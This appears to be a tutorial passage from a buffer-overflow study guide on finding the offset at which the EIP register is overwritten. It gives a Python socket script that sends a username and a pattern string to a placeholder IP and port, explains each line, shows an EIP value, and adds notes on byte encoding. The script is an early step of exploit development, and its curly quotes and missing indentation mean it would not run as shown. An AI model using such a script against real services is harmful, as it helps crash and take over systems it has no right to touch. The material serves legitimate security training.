Previous

Finding the Offset

It is process of finding point where we can overwrite EIP

🐍
import socket, sys
username = "test"
message = “<paste the string generated in first step>”
try:
print("Sending payload...")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<ip>',<port>))
s.recv(1024)
s.send(username + '\r\n')
s.recv (1024)
s.send(message + '\r\n')
s.recv(1024)
s.close()
except:
print("Cannot connect to the server")
sys.exit()

socket.AF_INET,socket.SOCK_STREAM for IPv4,port

s.connect to connect to ip

s.recv to receive some data back

‘\r\n’ for new line or simply work as ENTER

43346943

Note

If s.send don’t work then encode the message like

s.send((message + "\r\n").encode())
OR
put b before every string like b”AAAAAAA”